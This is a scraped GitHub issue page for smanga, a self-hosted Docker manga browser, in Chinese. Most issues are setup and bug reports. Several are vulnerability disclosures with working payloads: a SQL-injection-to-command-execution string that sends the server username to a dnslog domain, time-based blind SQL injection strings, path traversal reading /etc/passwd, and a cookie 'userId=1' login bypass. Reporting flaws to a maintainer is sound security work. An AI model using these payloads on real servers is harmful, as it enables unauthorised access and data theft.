lkw199711 / smanga Goto Github PK
View Code? Open in Web Editor NEWA simple manga browser 一款docker直装的漫画浏览器
License: GNU General Public License v2.0
A simple manga browser 一款docker直装的漫画浏览器
License: GNU General Public License v2.0
部署方式: docker
部署了域名后在另一台服务器能正常使用,都是使用nginx反代
这台服务器使用的目录包含rclone挂载的目录,但在web端该目录下的文件无法完全扫描,只显示了一部漫画并且没有漫画内容(docker所在文件夹以及挂载路径均已修改文件权限,容器中也可以访问正常文件并解压)
请问是否与rclone挂载有关?还是因为存在别的问题?
2023/05/21 23:20:37 [error] 243#243: *68 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined index: pageSize in /app/php/chapter/get.php on line 7PHP message: PHP Notice: Undefined index: recordStart in /app/php/chapter/get.php on line 8" while reading response header from upstream,
client: 172.21.0.1, server: , request: "POST /php/chapter/get.php HTTP/1.1", upstream: "fastcgi://unix:/run/php/php-fpm.sock:",
host: "personal-website", referrer: "personal-website "
docker搭建所使用的命令:
docker run -itd --name smanga \
-p 3333:3306 \
-p 8097:80 \
-v /mnt:/mnt \
-v /route/smanga:/data \
-v /route/compress:/compress \
lkw199711/smanga;
/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
Payload:
mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。
其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。
补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。
php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。
使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。
if(now()=sysdate()%2Csleep(3)%2C0)
if(now()=sysdate()%2Csleep(6)%2C0)
使用sqlmap利用测试,成功获取数据库名:
sql语句查询没有对接收的参数进行过滤。
/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。
尝试读取/etc/passwd
尝试读取config.ini
没有对file参数进行过滤,导致任意文件读取。
我在docker的设置面板里已经制定了文件夹,但是在媒体库设置里输入此路径就是显示无法读取,请问到底应该怎么设置
在3.3.5和beta中部分文件权限问题和根目录访问404问题
增加按日期、按名称和按照加入时间进行排序
目前默认的排序方式是按照入库时间来排序的,如果选择了其他排序方式(如按名称),一旦刷新或是关掉重开则又会被还原到默认排序方式。如果能使排序功能不会随着刷新而改变,或是允许用户设定默认排序方式,会更好一些。
Docker版本:
docker-ce 5:24.0.5-1-debian.11-bullseye
Compose版本:
docker-compose-plugin 2.20.2-1-debian.11-bullseye
smanga版本:
3.3.7
compose:
version: "3"
services:
smanga:
image: lkw199711/smanga:alpha
deploy:
resources:
limits:
cpus: '0.5'
memory: 1G
reservations:
memory: 16M
ports:
- 9798:80
- 63306:3306
volumes:
- /srv/dev-disk-by-uuid-cf6c44ac/Docker/Docker_AppData/smanga/data:/data
- /srv/dev-disk-by-uuid-cf6c44ac-/Docker/Docker_AppData/smanga/compress:/compress
- /srv/dev-disk-by-uuid-580b5dc1-/Project2/Manga:/mnt
environment:
PUID: 1000 # 想切换为哪个用户来运行程序,该用户的uid
PGID: 1000 # 想切换为哪个用户来运行程序,该用户的gid
UMASK: 022
TZ: Asia/Shanghai
restart: unless-stopped
hostname: smanga-alpha
container_name: smanga-alpha
添加扫描之后没有出现漫画,查看数据库发现大量一下错误信息
"ErrorException: dir(/mnt/日漫/XXXXX.zip): failed to open dir: Not a directory in /app/php/app/Jobs/ScanManga.php:259
Stack trace:
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /app/php/app/Jobs/ScanManga.php(259): dir()
#2 /app/php/app/Jobs/ScanManga.php(144): App\Jobs\ScanManga->get_chapter_list()
#3 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\Jobs\ScanManga->handle()
#4 /app/php/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\Container\BoundMethod::Illuminate\Container\{closure}()
#5 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\Container\Util::unwrapIfClosure()
#6 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\Container\BoundMethod::callBoundMethod()
#7 /app/php/vendor/laravel/framework/src/Illuminate/Container/Container.php(653): Illuminate\Container\BoundMethod::call()
#8 /app/php/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(128): Illuminate\Container\Container->call()
#9 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\Bus\Dispatcher->Illuminate\Bus\{closure}()
#10 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#11 /app/php/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(132): Illuminate\Pipeline\Pipeline->then()
#12 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(120): Illuminate\Bus\Dispatcher->dispatchNow()
#13 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\Queue\CallQueuedHandler->Illuminate\Queue\{closure}()
#14 /app/php/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#15 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(122): Illuminate\Pipeline\Pipeline->then()
#16 /app/php/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(70): Illuminate\Queue\CallQueuedHandler->dispatchThroughMiddleware()
#17 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(98): Illuminate\Queue\CallQueuedHandler->call()
#18 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(428): Illuminate\Queue\Jobs\Job->fire()
#19 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(378): Illuminate\Queue\Worker->process()
#20 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(329): Illuminate\Queue\Worker->runJob()
#21 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(117): Illuminate\Queue\Worker->runNextJob()
#22 /app/php/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(101): Illuminate\Queue\Console\WorkCommand->runWorker()
#23 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\Queue\Console\WorkCommand->handle()
#24 /app/php/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\Container\BoundMethod::Illuminate\Container\{closure}()
#25 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\Container\Util::unwrapIfClosure()
#26 /app/php/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\Container\BoundMethod::callBoundMethod()
#27 /app/php/vendor/laravel/framework/src/Illuminate/Container/Container.php(653): Illuminate\Container\BoundMethod::call()
#28 /app/php/vendor/laravel/framework/src/Illuminate/Console/Command.php(136): Illuminate\Container\Container->call()
#29 /app/php/vendor/symfony/console/Command/Command.php(298): Illuminate\Console\Command->execute()
#30 /app/php/vendor/laravel/framework/src/Illuminate/Console/Command.php(121): Symfony\Component\Console\Command\Command->run()
#31 /app/php/vendor/symfony/console/Application.php(1040): Illuminate\Console\Command->run()
#32 /app/php/vendor/symfony/console/Application.php(301): Symfony\Component\Console\Application->doRunCommand()
#33 /app/php/vendor/symfony/console/Application.php(171): Symfony\Component\Console\Application->doRun()
#34 /app/php/vendor/laravel/framework/src/Illuminate/Console/Application.php(94): Symfony\Component\Console\Application->run()
#35 /app/php/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(129): Illuminate\Console\Application->run()
#36 /app/php/artisan(37): Illuminate\Foundation\Console\Kernel->handle()
#37 {main}"
TZ已设置**时区,数据库看到得信息时间不正确 TZ: Asia/Shanghai
2023-08-09 22:17:12: 路径正在扫描,放弃当前扫描任务 pathId->1
2023-08-09 22:17:15: 路径正在扫描,放弃当前扫描任务 pathId->1
2023-08-09 22:17:19: 路径正在扫描,放弃当前扫描任务 pathId->1
2023-08-10 03:07:24: 路径正在扫描,放弃当前扫描任务 pathId->1
日志会报“error 章节 “第2話 用身體本能辦案的徵信社(2).cbz” 转化记录插入失败[2023-10-23 00:54:40][266] Processed: App\Jobs\Compress ==> /data/logs/smanga-daemon.log <==”
换一本漫画也这样
使用自带的自动转换功能自动解压中文压缩包时,可能会出现解压后目录乱码无法访问的问题,媒体库界面中表现为点开漫画封面后无法显示内容,仅有灰色背景。
我的解决方案:手动使用 unzip
解压时添加参数 -O cp936
,指定文件编码(有些unzip版本可能不支持 -O
参数,需要修改)。
出现问题原因:推测为压缩文件时使用Windows压缩,解压时使用Linux解压,zip文件名使用 GBK
编码,使用 UTF-8
解码,而zip文件中不包含文件名编码信息,故出现乱码,导致阅读器无法正常识别。
重启容器后所有数据全部消失,是什么问题
创建了一个guest用户来测试,不给任何权限,登录后却能够进行用户管理然后给自己授权,甚至能删掉管理员账户。。。这部分功能还需要完善一下
pdf转换无反应
png无法识别
想知道smanga支不支持epub格式
报错信息:SyntaxError: Unexpected token '数', "数据库链接错误" is not valid JSON
不知道作者什么时候支持Windows系统,毕竟Windows的用户还是很多的,也有人用Windows做服务器的。
环境:阿里云RDS MySql8数据库
报错:
[ERR] 3161 - Storage engine MyISAM is disabled (Table creation is disallowed).
分析:
数据库配置:可能禁用了MyISAM引擎。
数据库版本:较新版本的MySQL可能默认不启用MyISAM存储引擎。
修复方式:
下载SQL文件,将sql语句
中的MyISAM
修改为InnoDB
后执行SQL文件到数据库
版本:3.2.7
使用推荐映射docker搭建
登陆界面存在身份验证绕过漏洞,攻击者可构造cookie绕过登陆验证,进入后台。
1、初始访问,此时需要登录,没有cookie
2、构造cookie,访问url根目录,即 http://xxx.xxx.xxx.xxx:8097/ 可登陆后台
cookie:userId=1
Expires处随便填写不过期的日期,这里以 2024-07-12T09:27:52.000Z 举例
原因:云上数据库无法正常完成配置,不支持域名填写
希望:支持域名地址数据库
登陆看请求一直是返回数据库连接失败!失败信息:Connection refused
在瀑布浏览方式下,书签并没有生效,而且瀑布浏览方式下翻页有一点慢
可以支持sqlite吗?mysql还需要我重新建立个容器。
Argument 1 passed to Symfony\Component\HttpFoundation\Response::setContent() must be of the type string or null, object given, called in /app/php/vendor/laravel/framework/src/Illuminate/Http/Response.php on line 72
我觉得既然是以emby/plex为灵感,作为流媒体管理工具开发的,刮削是一个很重要的功能
尤其是管理本子,数量一多没tag根本没法找到自己想看的
希望添加能从eh等站点刮削元数据以及通过tag搜索的功能
对于大部分压缩压缩格式基本都可以直接提取对于文件和列表的情况下,
可以提供选项不预先解压文件吗?cache 目录也是有一定限制的
封面图片也可以直接获取文件列表后按名称排序取第一张图或者对应的cover.xxx就可以了
能否支持局域网路径和中文路径?例如:192.168.2.1/share/comic;或者/share/漫画/
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.